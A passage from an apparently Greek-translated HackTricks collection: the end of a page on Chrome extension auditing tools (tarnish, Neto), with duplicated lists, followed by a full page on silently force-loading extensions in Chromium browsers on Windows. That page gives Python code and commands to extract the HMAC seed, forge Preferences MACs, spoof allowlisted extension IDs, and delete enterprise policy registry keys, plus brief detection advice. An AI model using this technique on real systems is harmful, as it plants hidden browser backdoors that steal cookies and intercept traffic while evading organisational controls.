- Η πλήρης URI της ειδοποιημένης επέκτασης Chrome.
- Ο τύπος του αρχείου, όπως script Background Page, Content Script, Browser Action, κ.λπ.
- Αν η ευάλωτη γραμμή είναι σε αρχείο JavaScript, οι διαδρομές όλων των σελίδων όπου περιλαμβάνεται καθώς και ο τύπος αυτών των σελίδων, και η κατάσταση [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Αναλυτής Πολιτικής Ασφαλείας Περιεχομένου (CSP) και ελεγκτής παράκαμψης**: Αυτό θα επισημάνει αδυναμίες στην CSP της επέκτασής σας και θα φωτίσει επίσης τυχόν πιθανούς τρόπους παράκαμψης της CSP σας λόγω λευκωμένων CDNs, κ.λπ.
- **Γνωστές Ευάλωτες Βιβλιοθήκες**: Αυτό χρησιμοποιεί [Retire.js](https://retirejs.github.io/retire.js/) για να ελέγξει για οποιαδήποτε χρήση γνωστών ευάλωτων βιβλιοθηκών JavaScript.
- Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις.
- Κατεβάστε την αρχική επέκταση.
- Κατεβάστε μια όμορφα διαμορφωμένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
- Συνδέσιμες αναφορές URL, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish.
- Κατεβάζει οποιαδήποτε Chrome extension από ένα δοθέν Chrome webstore link.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-prettified έκδοση του manifest της επέκτασης.
- **Fingerprint Analysis**: Ανίχνευση των [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία Chrome extension fingerprinting JavaScript.
- **Potential Clickjacking Analysis**: Ανίχνευση HTML σελίδων της επέκτασης με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι δυνητικά ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
- **Permission Warning(s) viewer**: δείχνει μια λίστα με όλες τις προειδοποιήσεις αδειών Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
- **Dangerous Function(s)**: δείχνει τη θέση επικίνδυνων συναρτήσεων που θα μπορούσαν δυνητικά να εκμεταλλευτούνται από έναν attacker (π.χ. συναρτήσεις όπως innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: δείχνει από πού η επέκταση λαμβάνει input από χρήστη/εξωτερικό. Αυτό είναι χρήσιμο για να κατανοήσετε την επιφάνεια της επέκτασης και να εντοπίσετε πιθανά σημεία για αποστολή κακόβουλων δεδομένων στην επέκταση.
- Οι σαρωτές Dangerous Function(s) και Entry Point(s) παρέχουν για τις ειδοποιήσεις που δημιουργούν:
- Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
- Περιγραφή του ζητήματος.
- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγαίου κώδικα που περιέχει τον κώδικα.
- Το path του αρχείου που προκάλεσε την ειδοποίηση.
- Το πλήρες Chrome extension URI του αρχείου.
- Τον τύπο αρχείου (π.χ. Background Page script, Content Script, Browser Action, κ.λπ.).
- Αν η ευάλωτη γραμμή είναι σε JavaScript αρχείο, τα paths όλων των σελίδων όπου αυτό συμπεριλαμβάνεται καθώς και ο τύπος αυτών των σελίδων και η [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) κατάσταση.
- **Content Security Policy (CSP) analyzer and bypass checker**: Θα επισημάνει αδυναμίες στο CSP της επέκτασής σας και θα φωτίσει τυχόν πιθανούς τρόπους παράκαμψης του CSP λόγω whitelisted CDNs, κ.λπ.
- **Known Vulnerable Libraries**: Χρησιμοποιεί [Retire.js](https://retirejs.github.io/retire.js/) για να ελέγξει για χρήση γνωστών ευάλωτων βιβλιοθηκών JavaScript.
- Κατεβάζει την επέκταση και μορφοποιημένες εκδόσεις.
- Κατεβάζει την πρωτότυπη επέκταση.
- Κατεβάζει μια beautified έκδοση της επέκτασης (αυτόματη ομορφοποίηση HTML και JavaScript).
- Αυτόματη caching των αποτελεσμάτων σάρωσης — μια σάρωση επέκτασης θα πάρει αρκετό χρόνο την πρώτη φορά που θα τη τρέξετε. Ωστόσο η δεύτερη φορά, αν υποθέσουμε ότι η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της προσωρινής αποθήκευσης των αποτελεσμάτων.
- Linkable Report URLs, εύκολο να στείλετε σε κάποιον άλλο μια αναφορά επέκτασης που παράχθηκε από tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπιογραφίας ή πηγές Javascript και HTML.
Το Project Neto είναι ένα Python 3 package σχεδιασμένο για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες browser plugins και extensions για γνωστούς browsers όπως Firefox και Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για εξαγωγή αυτών των δυνατοτήτων από σχετικούς πόρους σε μια extension όπως `manifest.json`, φακέλους localization ή πηγαία αρχεία Javascript και HTML.
## Αναφορές
- **Ευχαριστώ τον** [**@naivenom**](https://twitter.com/naivenom) **για τη βοήθεια με αυτή τη μεθοδολογία**
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View File

@ -0,0 +1,206 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
Κρυφή post-exploitation τεχνική για εξαναγκαστικό φόρτωμα αυθαίρετων extensions σε Chromium-based browsers σε Windows, μέσω επεξεργασίας των Preferences/Secure Preferences ενός χρήστη και παραχάραξης έγκυρων HMACs για τους τροποποιημένους κόμβους. Εφαρμόζεται σε Chrome/Chromium, Edge και Brave. Παρατηρήθηκε να ισχύει από Chromium 130 έως 139 κατά το χρόνο δημοσίευσης. Ένα απλό disk write primitive στο προφίλ του θύματος αρκεί για να παραμείνει μια full-privileged extension χωρίς command-line flags ή user prompts.
> Κεντρική ιδέα: Chromium αποθηκεύει την per-user extension state σε ένα JSON preferences αρχείο και το προστατεύει με HMAC-SHA256. Αν υπολογίσετε έγκυρα MACs με το browsers embedded seed και τα γράψετε δίπλα στους injected κόμβους σας, ο browser τα αποδέχεται και ενεργοποιεί την εγγραφή της extension σας.
## Πού βρίσκεται το extension state (Windows)
- Nondomainjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Domainjoined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Key nodes used by Chromium:
- extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
- protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MACsigned for unpacked extensions to activate
Απλοποιημένο σχήμα (ενδεικτικό):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
Σημειώσεις:
- Edge/Brave maintain similar structures. Η τιμή του protection seed μπορεί να διαφέρει (σε ορισμένα builds παρατηρήθηκε ότι το Edge/Brave χρησιμοποιούσε null/other seed).
## Extension IDs: path vs key and making them deterministic
Το Chromium παράγει το extension ID ως εξής:
- Συσκευασμένη/υπογεγραμμένη επέκταση: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
- Μη συσκευασμένη (no key in manifest): ID = SHA256 over the absolute installation path bytes → map 0f to ap
Για να διατηρήσετε σταθερό ID μεταξύ hosts, ενσωματώστε ένα σταθερό base64 DER public key στο manifest.json κάτω από "key". Το ID θα προκύπτει από αυτό το key αντί από τη διαδρομή εγκατάστασης.
Βοηθητικό για τη δημιουργία ενός ντετερμινιστικού ID και ενός ζεύγους κλειδιών:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
Προσθέστε το δημιουργημένο δημόσιο κλειδί στο manifest.json σας για να κλειδώσετε το ID:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Forging Preferences integrity MACs (core bypass)
Chromium προστατεύει τις προτιμήσεις με HMACSHA256 πάνω στο "path" + σειριοποιημένη τιμή JSON κάθε κόμβου. Ο HMAC seed είναι ενσωματωμένος στο resources.pak του browser και ήταν έγκυρος μέχρι το Chromium 139.
Εξάγετε το seed με GRIT pak_util και εντοπίστε το seed container (file id 146 στις δοκιμασμένες builds):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
Υπολογίστε τα MACs (κεφαλαία hex) ως:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
Ελάχιστο παράδειγμα Python:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Καταχωρήστε τις τιμές κάτω από:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Διαφορές μεταξύ προγραμμάτων περιήγησης: στο Microsoft Edge και στο Brave το seed μπορεί να είναι null/διαφορετικό. Η δομή του HMAC παραμένει η ίδια· προσαρμόστε ανάλογα το seed.
> Συμβουλές υλοποίησης
> - Χρησιμοποιήστε ακριβώς την ίδια σειριοποίηση JSON που χρησιμοποιεί το Chromium όταν υπολογίζει τα MACs (συμπαγές JSON χωρίς whitespace είναι στην πράξη ασφαλές· η ταξινόμηση των κλειδιών μπορεί να βοηθήσει στην αποφυγή προβλημάτων σειράς).
> - Βεβαιωθείτε ότι extensions.ui.developer_mode υπάρχει και είναι signed στο Chromium ≥134, διαφορετικά η unpacked καταχώρισή σας δεν θα ενεργοποιηθεί.
## Endtoend silent load flow (Windows)
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
4) Write the crafted nodes and MACs into the target profiles Preferences/Secure Preferences; next launch will autoactivate your extension with full declared privileges
## Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
1) Install an allowed Web Store extension and note its ID
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
3) Set that key as manifest.key in your modified extension to reproduce the same ID
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
- Extension stomping (ID collision precedence)
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies live under HKCU\Software\Policies\*
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## Θορυβώδης fallback: φόρτωση μέσω command-line
Από Chromium ≥137, το --load-extension απαιτεί επίσης να περαστεί:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
Αυτή η προσέγγιση είναι ευρέως γνωστή και παρακολουθείται (π.χ. από EDR/DFIR· χρησιμοποιείται από commodity malware όπως το Chromeloader). Preference MAC forging είναι πιο διακριτική.
Related flags and more crossplatform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Λειτουργικός αντίκτυπος
Μόλις γίνει αποδεκτή, η επέκταση εκτελείται με τα δηλωθέντα permissions της, επιτρέποντας πρόσβαση στο DOM, interception/redirects αιτημάτων, πρόσβαση σε cookie/storage και λήψη screenshots — ουσιαστικά inbrowser code execution και ανθεκτική persistence στο προφίλ του χρήστη. Η απομακρυσμένη ανάπτυξη μέσω SMB ή άλλων καναλιών είναι απλή επειδή η ενεργοποίηση καθοδηγείται από data μέσα στα Preferences.
## Ανίχνευση και ενίσχυση
- Παρακολουθήστε για nonChromium processes που γράφουν στα Preferences/Secure Preferences, ειδικά για νέα nodes κάτω από extensions.settings σε συνδυασμό με protection.macs entries
- Εκπέμψτε alert για απροσδόκητο toggling του extensions.ui.developer_mode και για HMACvalid αλλά μη εγκεκριμένες καταχωρήσεις επέκτασης
- Audit HKCU/HKLM Software\Policies για παραποίηση· επιβάλετε πολιτικές μέσω device management/Chrome Browser Cloud Management
- Προτιμήστε forcedinstall από το store με verified publishers αντί για allowlists που ταιριάζουν μόνο στο extension ID
## Αναφορές
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}